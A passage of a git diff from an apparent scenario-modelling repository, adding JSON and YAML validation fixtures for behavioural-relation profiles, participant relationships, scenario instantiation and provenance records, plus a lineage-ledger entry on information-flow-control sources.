"sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "realization_kind": "mixed-composition" + } + }, + "expected": "trial-entry-f15f6f0a0e27bc7694ffb06501be969ddfe48ace83e402f34139aef7a1d29d25" + }, + { + "kind": "archival-run", + "projection": { + "plan_id": "trial-plan-mixed-fixture", + "coordinate": { + "replicate_id": "replicate-000001" + }, + "realization": { + "profile_ref": { + "ref_kind": "profile", + "ref_id": "profile:mixed", + "ref_version": "mixed-cross-backend-participant-control-v1@rev1", + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "realization_kind": "mixed-composition" + } + }, + "expected": "archival-run-cda33a2500dcd058017fd09f483da4b2b8d88621fb1acf0546c2bd65c43295d9" + } + ] +} diff --git a/contracts/fixtures/profiles/behavioral-relation-profile-v1/invalid/incomplete-crossing-domain.json b/contracts/fixtures/profiles/behavioral-relation-profile-v1/invalid/incomplete-crossing-domain.json new file mode 100644 index 000000000..16177d1a0 --- /dev/null +++ b/contracts/fixtures/profiles/behavioral-relation-profile-v1/invalid/incomplete-crossing-domain.json @@ -0,0 +1,123 @@ +{ + "schema_version": "behavioral-relation-profile/v1", + "profile_id": "participant-crossing-dpbb-finite-v1", + "profile_revision": "rev2", + "taxonomy_id": "raes-behavioral-relations", + "taxonomy_revision": "rev8", + "relation_id": "divergence-preserving-branching-bisimulation", + "left_carrier_ref": "sem-230-participant-crossing-abstract", + "observation_projection_ref": "participant-crossing-projection", + "observation_projection_revision": "rev1", + "finite_analysis_scope": "declared-complete-finite-carrier", + "parameters": { + "kind": "participant-crossing-dpbb/v1", + "domains": { + "participant": [ + "participant-0" + ], + "audience": [ + "audience-0" + ], + "controller": [ + "controller-0" + ], + "episode": [ + "episode-0" + ], + "request_id": [ + "request-0" + ], + "policy_cut": [ + "p0", + "p1" + ], + "input_class": [ + "plain", + "transform", + "declassify", + "unsupported" + ], + "decision": [ + "none", + "permit", + "deny", + "unsupported", + "transform", + "declassify" + ], + "replay": [ + "fresh", + "same-cut", + "later-cut" + ], + "delivery": [ + "none", + "pending", + "delivered", + "withheld" + ], + "history_head": [ + "h0", + "h1", + "h2", + "h3" + ] + }, + "left": { + "model_id": "sem-230-participant-crossing-abstract", + "revision": "rev2", + "source_path": "implementations/formal/participant_crossing/abstract.py", + "source_digest": "sha256:efbd1672a1687a21930625a1a16177b450d037f5bddf2047cb17832bf9d26531", + "initial_state_ordinal": 0 + }, + "right": { + "model_id": "api-423-run-319-crossing-kernel", + "revision": "rev2", + "source_path": "implementations/formal/participant_crossing/concrete.py", + "source_digest": "sha256:9d2e3c716e76b20b956d0a5d5d49a3533022663a04b6ad5baa318f2e3bd5b3b5", + "initial_state_ordinal": 0 + }, + "visible_labels": [ + "crossing.request", + "crossing.decision.permit", + "crossing.decision.deny", + "crossing.decision.unsupported", + "crossing.transform", + "crossing.declassify", + "crossing.delivery", + "crossing.observation", + "crossing.replay.reject", + "policy.cut.advance" + ], + "hidden_labels": [ + "internal.validate", + "internal.resolve-policy-cut", + "internal.resolve-capability", + "internal.prepare-record", + "internal.atomic-commit" + ], + "checker_tau": "internal", + "complete_carrier": true, + "depth_or_sample_bound": null, + "fresh_operations": 1, + "identity_reuse": "excluded", + "order": "sequential-total-order", + "time": "untimed", + "probability": "excluded", + "concurrency": "excluded", + "controller_handoff": "excluded", + "completion": "per-crossing-visible-outcome" + }, + "source_refs": [ + { + "source_ref": "specs/formal/participant-semantics/participant-crossing-models.md", + "source_digest": "sha256:b1a7884b356d0938f7c5534070161f96cd0a69ce74e0b24ec9da950e17ce8e29" + } + ], + "limitations": [ + "One fresh operation and retries; no identity recycling." + ], + "explicit_non_claims": [ + "No equivalence or live-runtime result is established by construction." + ] +} diff --git a/contracts/fixtures/profiles/behavioral-relation-profile-v1/invalid/overlapping-crossing-labels.json b/contracts/fixtures/profiles/behavioral-relation-profile-v1/invalid/overlapping-crossing-labels.json new file mode 100644 index 000000000..01941d694 --- /dev/null +++ b/contracts/fixtures/profiles/behavioral-relation-profile-v1/invalid/overlapping-crossing-labels.json @@ -0,0 +1,124 @@ +{ + "schema_version": "behavioral-relation-profile/v1", + "profile_id": "participant-crossing-dpbb-finite-v1", + "profile_revision": "rev2", + "taxonomy_id": "raes-behavioral-relations", + "taxonomy_revision": "rev8", + "relation_id": "divergence-preserving-branching-bisimulation", + "left_carrier_ref": "sem-230-participant-crossing-abstract", + "observation_projection_ref": "participant-crossing-projection", + "observation_projection_revision": "rev1", + "finite_analysis_scope": "declared-complete-finite-carrier", + "parameters": { + "kind": "participant-crossing-dpbb/v1", + "domains": { + "participant": [ + "participant-0" + ], + "audience": [ + "audience-0" + ], + "controller": [ + "controller-0" + ], + "episode": [ + "episode-0" + ], + "request_id": [ + "request-0" + ], + "policy_cut": [ + "p0", + "p1" + ], + "input_class": [ + "plain", + "transform", + "declassify", + "unsupported", + "forbidden" + ], + "decision": [ + "none", + "permit", + "deny", + "unsupported", + "transform", + "declassify" + ], + "replay": [ + "fresh", + "same-cut", + "later-cut" + ], + "delivery": [ + "none", + "pending", + "delivered", + "withheld" + ], + "history_head": [ + "h0", + "h1", + "h2", + "h3" + ] + }, + "left": { + "model_id": "sem-230-participant-crossing-abstract", + "revision": "rev2", + "source_path": "implementations/formal/participant_crossing/abstract.py", + "source_digest": "sha256:efbd1672a1687a21930625a1a16177b450d037f5bddf2047cb17832bf9d26531", + "initial_state_ordinal": 0 + }, + "right": { + "model_id": "api-423-run-319-crossing-kernel", + "revision": "rev2", + "source_path": "implementations/formal/participant_crossing/concrete.py", + "source_digest": "sha256:9d2e3c716e76b20b956d0a5d5d49a3533022663a04b6ad5baa318f2e3bd5b3b5", + "initial_state_ordinal": 0 + }, + "visible_labels": [ + "crossing.request", + "crossing.decision.permit", + "crossing.decision.deny", + "crossing.decision.unsupported", + "crossing.transform", + "crossing.declassify", + "crossing.delivery", + "crossing.observation", + "crossing.replay.reject", + "policy.cut.advance" + ], + "hidden_labels": [ + "crossing.request", + "internal.resolve-policy-cut", + "internal.resolve-capability", + "internal.prepare-record", + "internal.atomic-commit" + ], + "checker_tau": "internal", + "complete_carrier": true, + "depth_or_sample_bound": null, + "fresh_operations": 1, + "identity_reuse": "excluded", + "order": "sequential-total-order", + "time": "untimed", + "probability": "excluded", + "concurrency": "excluded", + "controller_handoff": "excluded", + "completion": "per-crossing-visible-outcome" + }, + "source_refs": [ + { + "source_ref": "specs/formal/participant-semantics/participant-crossing-models.md", + "source_digest": "sha256:b1a7884b356d0938f7c5534070161f96cd0a69ce74e0b24ec9da950e17ce8e29" + } + ], + "limitations": [ + "One fresh operation and retries; no identity recycling." + ], + "explicit_non_claims": [ + "No equivalence or live-runtime result is established by construction." + ] +} diff --git a/contracts/fixtures/profiles/behavioral-relation-profile-v1/invalid/shared-crossing-authority.json b/contracts/fixtures/profiles/behavioral-relation-profile-v1/invalid/shared-crossing-authority.json new file mode 100644 index 000000000..d2dd8d6ad --- /dev/null +++ b/contracts/fixtures/profiles/behavioral-relation-profile-v1/invalid/shared-crossing-authority.json @@ -0,0 +1,124 @@ +{ + "schema_version": "behavioral-relation-profile/v1", + "profile_id": "participant-crossing-dpbb-finite-v1", + "profile_revision": "rev2", + "taxonomy_id": "raes-behavioral-relations", + "taxonomy_revision": "rev8", + "relation_id": "divergence-preserving-branching-bisimulation", + "left_carrier_ref": "sem-230-participant-crossing-abstract", + "observation_projection_ref": "participant-crossing-projection", + "observation_projection_revision": "rev1", + "finite_analysis_scope": "declared-complete-finite-carrier", + "parameters": { + "kind": "participant-crossing-dpbb/v1", + "domains": { + "participant": [ + "participant-0" + ], + "audience": [ + "audience-0" + ], + "controller": [ + "controller-0" + ], + "episode": [ + "episode-0" + ], + "request_id": [ + "request-0" + ], + "policy_cut": [ + "p0", + "p1" + ], + "input_class": [ + "plain", + "transform", + "declassify", + "unsupported", + "forbidden" + ], + "decision": [ + "none", + "permit", + "deny", + "unsupported", + "transform", + "declassify" + ], + "replay": [ + "fresh", + "same-cut", + "later-cut" + ], + "delivery": [ + "none", + "pending", + "delivered", + "withheld" + ], + "history_head": [ + "h0", + "h1", + "h2", + "h3" + ] + }, + "left": { + "model_id": "sem-230-participant-crossing-abstract", + "revision": "rev2", + "source_path": "implementations/formal/participant_crossing/abstract.py", + "source_digest": "sha256:efbd1672a1687a21930625a1a16177b450d037f5bddf2047cb17832bf9d26531", + "initial_state_ordinal": 0 + }, + "right": { + "model_id": "sem-230-participant-crossing-abstract", + "revision": "rev2", + "source_path": "implementations/formal/participant_crossing/abstract.py", + "source_digest": "sha256:efbd1672a1687a21930625a1a16177b450d037f5bddf2047cb17832bf9d26531", + "initial_state_ordinal": 0 + }, + "visible_labels": [ + "crossing.request", + "crossing.decision.permit", + "crossing.decision.deny", + "crossing.decision.unsupported", + "crossing.transform", + "crossing.declassify", + "crossing.delivery", + "crossing.observation", + "crossing.replay.reject", + "policy.cut.advance" + ], + "hidden_labels": [ + "internal.validate", + "internal.resolve-policy-cut", + "internal.resolve-capability", + "internal.prepare-record", + "internal.atomic-commit" + ], + "checker_tau": "internal", + "complete_carrier": true, + "depth_or_sample_bound": null, + "fresh_operations": 1, + "identity_reuse": "excluded", + "order": "sequential-total-order", + "time": "untimed", + "probability": "excluded", + "concurrency": "excluded", + "controller_handoff": "excluded", + "completion": "per-crossing-visible-outcome" + }, + "source_refs": [ + { + "source_ref": "specs/formal/participant-semantics/participant-crossing-models.md", + "source_digest": "sha256:b1a7884b356d0938f7c5534070161f96cd0a69ce74e0b24ec9da950e17ce8e29" + } + ], + "limitations": [ + "One fresh operation and retries; no identity recycling." + ], + "explicit_non_claims": [ + "No equivalence or live-runtime result is established by construction." + ] +} diff --git a/contracts/fixtures/profiles/behavioral-relation-profile-v1/valid/participant-crossing.json b/contracts/fixtures/profiles/behavioral-relation-profile-v1/valid/participant-crossing.json new file mode 100644 index 000000000..fca39a19c --- /dev/null +++ b/contracts/fixtures/profiles/behavioral-relation-profile-v1/valid/participant-crossing.json @@ -0,0 +1,124 @@ +{ + "schema_version": "behavioral-relation-profile/v1", + "profile_id": "participant-crossing-dpbb-finite-v1", + "profile_revision": "rev2", + "taxonomy_id": "raes-behavioral-relations", + "taxonomy_revision": "rev8", + "relation_id": "divergence-preserving-branching-bisimulation", + "left_carrier_ref": "sem-230-participant-crossing-abstract", + "observation_projection_ref": "participant-crossing-projection", + "observation_projection_revision": "rev1", + "finite_analysis_scope": "declared-complete-finite-carrier", + "parameters": { + "kind": "participant-crossing-dpbb/v1", + "domains": { + "participant": [ + "participant-0" + ], + "audience": [ + "audience-0" + ], + "controller": [ + "controller-0" + ], + "episode": [ + "episode-0" + ], + "request_id": [ + "request-0" + ], + "policy_cut": [ + "p0", + "p1" + ], + "input_class": [ + "plain", + "transform", + "declassify", + "unsupported", + "forbidden" + ], + "decision": [ + "none", + "permit", + "deny", + "unsupported", + "transform", + "declassify" + ], + "replay": [ + "fresh", + "same-cut", + "later-cut" + ], + "delivery": [ + "none", + "pending", + "delivered", + "withheld" + ], + "history_head": [ + "h0", + "h1", + "h2", + "h3" + ] + }, + "left": { + "model_id": "sem-230-participant-crossing-abstract", + "revision": "rev2", + "source_path": "implementations/formal/participant_crossing/abstract.py", + "source_digest": "sha256:efbd1672a1687a21930625a1a16177b450d037f5bddf2047cb17832bf9d26531", + "initial_state_ordinal": 0 + }, + "right": { + "model_id": "api-423-run-319-crossing-kernel", + "revision": "rev2", + "source_path": "implementations/formal/participant_crossing/concrete.py", + "source_digest": "sha256:9d2e3c716e76b20b956d0a5d5d49a3533022663a04b6ad5baa318f2e3bd5b3b5", + "initial_state_ordinal": 0 + }, + "visible_labels": [ + "crossing.request", + "crossing.decision.permit", + "crossing.decision.deny", + "crossing.decision.unsupported", + "crossing.transform", + "crossing.declassify", + "crossing.delivery", + "crossing.observation", + "crossing.replay.reject", + "policy.cut.advance" + ], + "hidden_labels": [ + "internal.validate", + "internal.resolve-policy-cut", + "internal.resolve-capability", + "internal.prepare-record", + "internal.atomic-commit" + ], + "checker_tau": "internal", + "complete_carrier": true, + "depth_or_sample_bound": null, + "fresh_operations": 1, + "identity_reuse": "excluded", + "order": "sequential-total-order", + "time": "untimed", + "probability": "excluded", + "concurrency": "excluded", + "controller_handoff": "excluded", + "completion": "per-crossing-visible-outcome" + }, + "source_refs": [ + { + "source_ref": "specs/formal/participant-semantics/participant-crossing-models.md", + "source_digest": "sha256:b1a7884b356d0938f7c5534070161f96cd0a69ce74e0b24ec9da950e17ce8e29" + } + ], + "limitations": [ + "One fresh operation and retries; no identity recycling." + ], + "explicit_non_claims": [ + "No equivalence or live-runtime result is established by construction." + ] +} diff --git a/contracts/fixtures/sdl/materialized-scenario-v1/invalid/wrong-phase.json b/contracts/fixtures/sdl/materialized-scenario-v1/invalid/wrong-phase.json new file mode 100644 index 000000000..cc47ae0f6 --- /dev/null +++ b/contracts/fixtures/sdl/materialized-scenario-v1/invalid/wrong-phase.json @@ -0,0 +1,33 @@ +{ + "name": "materialized-example", + "materialization_provenance": { + "profile": "raes-materialization-attestation/v1", + "attestation_id": "materialization-1", + "authored_digest": { + "profile": "raes-sdl-semantic/v2", + "algorithm": "sha256", + "value": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "instantiated_digest": { + "profile": "raes-sdl-instantiated-snapshot/v2", + "algorithm": "sha256", + "value": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + }, + "plan_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "predecessor_digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "operation_id": "operation-1", + "run_id": "run-1", + "recorded_at": "2026-09-14T12:00:00Z", + "boundary": "post-materialization", + "producer": { + "name": "test-backend", + "version": "1.0.0", + "configuration_digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", + "manifest_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" + }, + "coverage_profile": "raes-materialization-effects/v1", + "origins": [], + "resource_bindings": [] + }, + "variables": {} +} diff --git a/contracts/fixtures/sdl/materialized-scenario-v1/valid/reference.json b/contracts/fixtures/sdl/materialized-scenario-v1/valid/reference.json new file mode 100644 index 000000000..10f3eea0d --- /dev/null +++ b/contracts/fixtures/sdl/materialized-scenario-v1/valid/reference.json @@ -0,0 +1,32 @@ +{ + "name": "materialized-example", + "materialization_provenance": { + "profile": "raes-materialization-attestation/v1", + "attestation_id": "materialization-1", + "authored_digest": { + "profile": "raes-sdl-semantic/v2", + "algorithm": "sha256", + "value": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "instantiated_digest": { + "profile": "raes-sdl-instantiated-snapshot/v2", + "algorithm": "sha256", + "value": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + }, + "plan_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "predecessor_digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "operation_id": "operation-1", + "run_id": "run-1", + "recorded_at": "2026-09-14T12:00:00Z", + "boundary": "post-materialization", + "producer": { + "name": "test-backend", + "version": "1.0.0", + "configuration_digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", + "manifest_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" + }, + "coverage_profile": "raes-materialization-effects/v1", + "origins": [], + "resource_bindings": [] + } +} diff --git a/contracts/fixtures/sdl/mixed-control-v1/invalid/mixed-control-operator-impersonation.yaml b/contracts/fixtures/sdl/mixed-control-v1/invalid/mixed-control-operator-impersonation.yaml index 9f4fea018..912ce83b3 100644 --- a/contracts/fixtures/sdl/mixed-control-v1/invalid/mixed-control-operator-impersonation.yaml +++ b/contracts/fixtures/sdl/mixed-control-v1/invalid/mixed-control-operator-impersonation.yaml @@ -8,11 +8,11 @@ entities: blue-team: {role: blue} agents: red-agent: - entity: red-team + affiliations: [red-team] authority_anchors: [entities.red-team] operating_scope: [nodes.web] supervisor-agent: - entity: blue-team + affiliations: [blue-team] authority_anchors: [entities.blue-team] operating_scope: [nodes.web] behavior_specifications: diff --git a/contracts/fixtures/sdl/mixed-control-v1/valid/mixed-control-participant.yaml b/contracts/fixtures/sdl/mixed-control-v1/valid/mixed-control-participant.yaml index fd1312bee..e2bb65a0c 100644 --- a/contracts/fixtures/sdl/mixed-control-v1/valid/mixed-control-participant.yaml +++ b/contracts/fixtures/sdl/mixed-control-v1/valid/mixed-control-participant.yaml @@ -8,11 +8,11 @@ entities: blue-team: {role: blue} agents: red-agent: - entity: red-team + affiliations: [red-team] authority_anchors: [entities.red-team] operating_scope: [nodes.web] supervisor-agent: - entity: blue-team + affiliations: [blue-team] authority_anchors: [entities.blue-team] operating_scope: [nodes.web] behavior_specifications: diff --git a/contracts/fixtures/sdl/participant-inject-delivery-v1/invalid/environment-only-leakage.yaml b/contracts/fixtures/sdl/participant-inject-delivery-v1/invalid/environment-only-leakage.yaml index e4a0834c4..1d331f84b 100644 --- a/contracts/fixtures/sdl/participant-inject-delivery-v1/invalid/environment-only-leakage.yaml +++ b/contracts/fixtures/sdl/participant-inject-delivery-v1/invalid/environment-only-leakage.yaml @@ -81,7 +81,7 @@ observation_boundaries: visibility_basis: adjudication-only hidden truth agents: red-agent: - entity: red-team + affiliations: [red-team] observation_boundaries: [red-view] behavior_specifications: red-briefing: diff --git a/contracts/fixtures/sdl/participant-inject-delivery-v1/valid/participant-directed.yaml b/contracts/fixtures/sdl/participant-inject-delivery-v1/valid/participant-directed.yaml index d65161713..218288d04 100644 --- a/contracts/fixtures/sdl/participant-inject-delivery-v1/valid/participant-directed.yaml +++ b/contracts/fixtures/sdl/participant-inject-delivery-v1/valid/participant-directed.yaml @@ -81,7 +81,7 @@ observation_boundaries: disclosure_rule: disclosures.briefing.v1 agents: red-agent: - entity: red-team + affiliations: [red-team] observation_boundaries: [red-view] behavior_specifications: red-briefing: diff --git a/contracts/fixtures/sdl/participant-relationships-v1/invalid/entity-endpoint.yaml b/contracts/fixtures/sdl/participant-relationships-v1/invalid/entity-endpoint.yaml new file mode 100644 index 000000000..1d6841655 --- /dev/null +++ b/contracts/fixtures/sdl/participant-relationships-v1/invalid/entity-endpoint.yaml @@ -0,0 +1,18 @@ +name: abstract-participant-relationships +entities: + team-a: + role: red + team-b: + role: blue +agents: + alice: + affiliations: [team-a] + bob: + affiliations: [team-b] +relationships: + work: + type: participant + source: agents.alice + target: entities.team-b + participant: + kind: coordination diff --git a/contracts/fixtures/sdl/participant-relationships-v1/valid/abstract-relations.yaml b/contracts/fixtures/sdl/participant-relationships-v1/valid/abstract-relations.yaml new file mode 100644 index 000000000..aabd9038c --- /dev/null +++ b/contracts/fixtures/sdl/participant-relationships-v1/valid/abstract-relations.yaml @@ -0,0 +1,42 @@ +name: abstract-participant-relationships +entities: + team-a: + role: red + team-b: + role: blue +agents: + alice: + affiliations: [team-a] + bob: + affiliations: [team-b] +relationships: + coordination: + type: participant + source: agents.alice + target: bob + participant: + kind: coordination + delegation: + type: participant + source: agents.alice + target: bob + participant: + kind: delegation + cooperation: + type: participant + source: agents.alice + target: bob + participant: + kind: cooperation + competition: + type: participant + source: agents.alice + target: bob + participant: + kind: competition + supervision: + type: participant + source: agents.alice + target: bob + participant: + kind: supervision diff --git a/contracts/fixtures/sdl/scenario-instantiation-request-v1/invalid/non-canonical-parameter-name.json b/contracts/fixtures/sdl/scenario-instantiation-request-v1/invalid/non-canonical-parameter-name.json new file mode 100644 index 000000000..3ce07f94e --- /dev/null +++ b/contracts/fixtures/sdl/scenario-instantiation-request-v1/invalid/non-canonical-parameter-name.json @@ -0,0 +1,7 @@ +{ + "parameters": { + "Target Host": "workstation-01" + }, + "profile": "reference-stack-v1", + "schema_version": "scenario-instantiation/v1" +} diff --git a/contracts/fixtures/sdl/scenario-instantiation-request-v1/valid/minimal.json b/contracts/fixtures/sdl/scenario-instantiation-request-v1/valid/minimal.json new file mode 100644 index 000000000..c2497558e --- /dev/null +++ b/contracts/fixtures/sdl/scenario-instantiation-request-v1/valid/minimal.json @@ -0,0 +1,5 @@ +{ + "parameters": {}, + "profile": null, + "schema_version": "scenario-instantiation/v1" +} diff --git a/contracts/fixtures/sdl/scenario-instantiation-request-v1/valid/parameterized.json b/contracts/fixtures/sdl/scenario-instantiation-request-v1/valid/parameterized.json new file mode 100644 index 000000000..6a90fc6d2 --- /dev/null +++ b/contracts/fixtures/sdl/scenario-instantiation-request-v1/valid/parameterized.json @@ -0,0 +1,9 @@ +{ + "parameters": { + "attempt_budget": 3, + "network_isolated": true, + "target_host": "workstation-01" + }, + "profile": "reference-stack-v1", + "schema_version": "scenario-instantiation/v1" +} diff --git a/contracts/profiles/authoring-adapters/reference-v1.json b/contracts/profiles/authoring-adapters/reference-v1.json new file mode 100644 index 000000000..8f96ad1eb --- /dev/null +++ b/contracts/profiles/authoring-adapters/reference-v1.json @@ -0,0 +1,11 @@ +{ + "canonicalization_profile": "raes-sdl-semantic/v2", + "diagnostic_profile": "authoring-diagnostic-semantics/v1", + "max_cases": 32, + "max_diagnostics": 64, + "max_source_bytes": 65536, + "migration_policy": "reject", + "profile_id": "raes-authoring-adapter-conformance/v1", + "semantic_profile_digest": "sha256:6c854fccb0a982dff1bb122ba75d795a3f2a28474c0cd7be0022137830fc7830", + "source_profile": "sdl-yaml/v1" +} diff --git a/contracts/profiles/backend/operation-supervision.json b/contracts/profiles/backend/operation-supervision.json new file mode 100644 index 000000000..d5d36cacb --- /dev/null +++ b/contracts/profiles/backend/operation-supervision.json @@ -0,0 +1,11 @@ +{ + "schema_version": "backend-profile/v1", + "profile": "operation-supervision", + "required_contracts": [ + "backend-manifest-v2", + "backend-operation-request-v1", + "backend-operation-capabilities-v1", + "backend-operation-control-v1", + "backend-operation-response-v1" + ] +} diff --git a/contracts/profiles/behavioral-relation/participant-crossing-dpbb-finite-v1.json b/contracts/profiles/behavioral-relation/participant-crossing-dpbb-finite-v1.json new file mode 100644 index 000000000..fca39a19c --- /dev/null +++ b/contracts/profiles/behavioral-relation/participant-crossing-dpbb-finite-v1.json @@ -0,0 +1,124 @@ +{ + "schema_version": "behavioral-relation-profile/v1", + "profile_id": "participant-crossing-dpbb-finite-v1", + "profile_revision": "rev2", + "taxonomy_id": "raes-behavioral-relations", + "taxonomy_revision": "rev8", + "relation_id": "divergence-preserving-branching-bisimulation", + "left_carrier_ref": "sem-230-participant-crossing-abstract", + "observation_projection_ref": "participant-crossing-projection", + "observation_projection_revision": "rev1", + "finite_analysis_scope": "declared-complete-finite-carrier", + "parameters": { + "kind": "participant-crossing-dpbb/v1", + "domains": { + "participant": [ + "participant-0" + ], + "audience": [ + "audience-0" + ], + "controller": [ + "controller-0" + ], + "episode": [ + "episode-0" + ], + "request_id": [ + "request-0" + ], + "policy_cut": [ + "p0", + "p1" + ], + "input_class": [ + "plain", + "transform", + "declassify", + "unsupported", + "forbidden" + ], + "decision": [ + "none", + "permit", + "deny", + "unsupported", + "transform", + "declassify" + ], + "replay": [ + "fresh", + "same-cut", + "later-cut" + ], + "delivery": [ + "none", + "pending", + "delivered", + "withheld" + ], + "history_head": [ + "h0", + "h1", + "h2", + "h3" + ] + }, + "left": { + "model_id": "sem-230-participant-crossing-abstract", + "revision": "rev2", + "source_path": "implementations/formal/participant_crossing/abstract.py", + "source_digest": "sha256:efbd1672a1687a21930625a1a16177b450d037f5bddf2047cb17832bf9d26531", + "initial_state_ordinal": 0 + }, + "right": { + "model_id": "api-423-run-319-crossing-kernel", + "revision": "rev2", + "source_path": "implementations/formal/participant_crossing/concrete.py", + "source_digest": "sha256:9d2e3c716e76b20b956d0a5d5d49a3533022663a04b6ad5baa318f2e3bd5b3b5", + "initial_state_ordinal": 0 + }, + "visible_labels": [ + "crossing.request", + "crossing.decision.permit", + "crossing.decision.deny", + "crossing.decision.unsupported", + "crossing.transform", + "crossing.declassify", + "crossing.delivery", + "crossing.observation", + "crossing.replay.reject", + "policy.cut.advance" + ], + "hidden_labels": [ + "internal.validate", + "internal.resolve-policy-cut", + "internal.resolve-capability", + "internal.prepare-record", + "internal.atomic-commit" + ], + "checker_tau": "internal", + "complete_carrier": true, + "depth_or_sample_bound": null, + "fresh_operations": 1, + "identity_reuse": "excluded", + "order": "sequential-total-order", + "time": "untimed", + "probability": "excluded", + "concurrency": "excluded", + "controller_handoff": "excluded", + "completion": "per-crossing-visible-outcome" + }, + "source_refs": [ + { + "source_ref": "specs/formal/participant-semantics/participant-crossing-models.md", + "source_digest": "sha256:b1a7884b356d0938f7c5534070161f96cd0a69ce74e0b24ec9da950e17ce8e29" + } + ], + "limitations": [ + "One fresh operation and retries; no identity recycling." + ], + "explicit_non_claims": [ + "No equivalence or live-runtime result is established by construction." + ] +} diff --git a/contracts/profiles/participant-control/teaching-influence-rev1.json b/contracts/profiles/participant-control/teaching-influence-rev1.json new file mode 100644 index 000000000..24bcdcd50 --- /dev/null +++ b/contracts/profiles/participant-control/teaching-influence-rev1.json @@ -0,0 +1,21 @@ +{ + "schema_version": "participant-control-teaching-profile/v1", + "profile_id": "teaching-influence", + "profile_revision": "rev1", + "semantic_revision": "sem-235/rev1", + "domain": "teaching-influence-domain/rev1", + "tokens": [ + "coached-hint", + "worked-example" + ], + "order": "subset", + "join": "union", + "unknown_source": "unknown", + "memory": "retain-across-episodes", + "release": "none", + "sinks": [ + "practice-action", + "teaching-observation" + ], + "trigger_rule": "hint-followup/1" +} diff --git a/contracts/profiles/semantic-comparison/reference-v2.json b/contracts/profiles/semantic-comparison/reference-v2.json index b74dc1a94..e34b0c3d8 100644 --- a/contracts/profiles/semantic-comparison/reference-v2.json +++ b/contracts/profiles/semantic-comparison/reference-v2.json @@ -20,9 +20,9 @@ "evidence-specification": "1", "external-concept-bindings": "1", "module": "1", - "run": "1", + "run": "2", "scenario": "2", - "study": "1", + "study": "2", "task": "2" }, "limits": { diff --git a/contracts/provenance/sdl-lineage-ledger-v2.json b/contracts/provenance/sdl-lineage-ledger-v2.json index ec566d135..19993b434 100644 --- a/contracts/provenance/sdl-lineage-ledger-v2.json +++ b/contracts/provenance/sdl-lineage-ledger-v2.json @@ -1,6 +1,6 @@ { "schema_version": "sdl-lineage-ledger/v1", - "reviewed_on": "2026-09-14", + "reviewed_on": "2026-09-20", "citations": [ { "citation_id": "ocr-sdl-v0.21.2", @@ -1870,6 +1870,37 @@ } ] }, + { + "subject_id": "sdl-field:augmentation_scope", + "subject_kind": "top_level_field", + "disposition": "current", + "authority": { + "artifact": "contracts/schemas/sdl/sdl-authoring-input-v1.json", + "pointer": "#/properties/augmentation_scope", + "contract_id": "sdl-authoring-input-v1" + }, + "claims": [ + { + "plane": "semantics", + "classification": "raes_native", + "source_refs": [], + "raes_boundaries": [ + { + "artifact": "contracts/schemas/sdl/sdl-authoring-input-v1.json", + "symbol_or_pointer": "#/properties/augmentation_scope" + } + ], + "source_boundaries": [], + "divergence": "RAES defines binding open-by-default permission over the shared materialization-effect vocabulary; this is not an external-system compatibility claim.", + "compatibility": "not_applicable", + "citation_refs": [], + "internal_authority_refs": [ + "specs/sdl/augmentation-scope.md" + ], + "compatibility_direction": "not_applicable" + } + ] + }, { "subject_id": "sdl-field:evidence_requirements", "subject_kind": "top_level_field", @@ -3797,6 +3828,47 @@ "specs/formal/participant-semantics/README.md" ], "compatibility_direction": "raes_relative_to_source" + }, + { + "plane": "semantics", + "classification": "adapted", + "source_refs": [ + "myers-liskov-1998", + "flume-2007" + ], + "raes_boundaries": [ + { + "artifact": "specs/formal/participant-semantics/modular-participant-control.md", + "symbol_or_pointer": "MPC-04 \u2014 Dynamic IFC and the first non-security domain" + }, + { + "artifact": "specs/formal/participant-semantics/modular-participant-control.md", + "symbol_or_pointer": "MPC-05 \u2014 Dependency and conjunction relation" + } + ], + "source_boundaries": [ + { + "artifact": "Complete, Safe Information Flow with Decentralized Labels", + "symbol_or_pointer": "principal-relative policies, joins and authority-bounded declassification" + }, + { + "artifact": "Information Flow Control for Standard OS Abstractions", + "symbol_or_pointer": "dynamic decentralized IFC and explicit privilege" + } + ], + "divergence": "SEM-235 sem-235/rev1 reuses closed-domain conservative IFC machinery while preserving sem-233/rev1. The teaching-influence powerset, typed mandatory/advisory slot conjunction, independent governed injects, exact-cut commit, stable logical effect keys and finite causal budgets are RAES constructions. They do not import an OS API, compiler, provider implementation, source theorem, security guarantee, wire contract or compatibility claim. Non-IFC mechanisms retain their own state; finite witnesses establish no universal noninterference or realization result.", + "compatibility": "none", + "citation_refs": [ + "myers-liskov-1998", + "flume-2007" + ], + "internal_authority_refs": [ + "specs/formal/participant-semantics/modular-participant-control.md", + "specs/concept-authority/participant-control.md", + "docs/research/modular-participant-control/semantic-verification.md", + "docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md" + ], + "compatibility_direction": "raes_relative_to_source" } ] }, diff --git a/contracts/schema-publication/entries/admitted-trial-plan-v1.json b/contracts/schema-publication/entries/admitted-trial-plan-v1.json index 76680e3c2..9963dd370 100644 --- 